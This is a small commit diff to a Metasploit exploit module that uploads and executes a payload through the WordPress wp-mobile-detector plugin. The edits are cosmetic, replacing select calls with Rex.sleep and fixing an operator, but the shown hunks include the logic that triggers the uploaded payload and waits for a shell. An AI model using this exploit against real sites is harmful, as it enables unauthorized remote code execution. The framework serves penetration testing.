wp-mobile-detector udpates

modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb

@@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'method'  => 'GET',
       'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
     )
-    if res and !res.body.include?(payload_name)
+    if res && !res.body.include?(payload_name)
       vprint_status("#{payload_name} verified as not written.")
     else
       fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_good('Sleeping 5 seconds for payload upload')
       register_files_for_cleanup(payload_name)
 
-      select(nil,nil,nil,5)
+      Rex.sleep(5)
 
       print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
       send_request_cgi(
@@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
       })
       # wait for callback, without this we exit too fast and miss our shell
-      select(nil,nil,nil,2)
+      Rex.sleep(2)
       handler
     else
       if res.nil?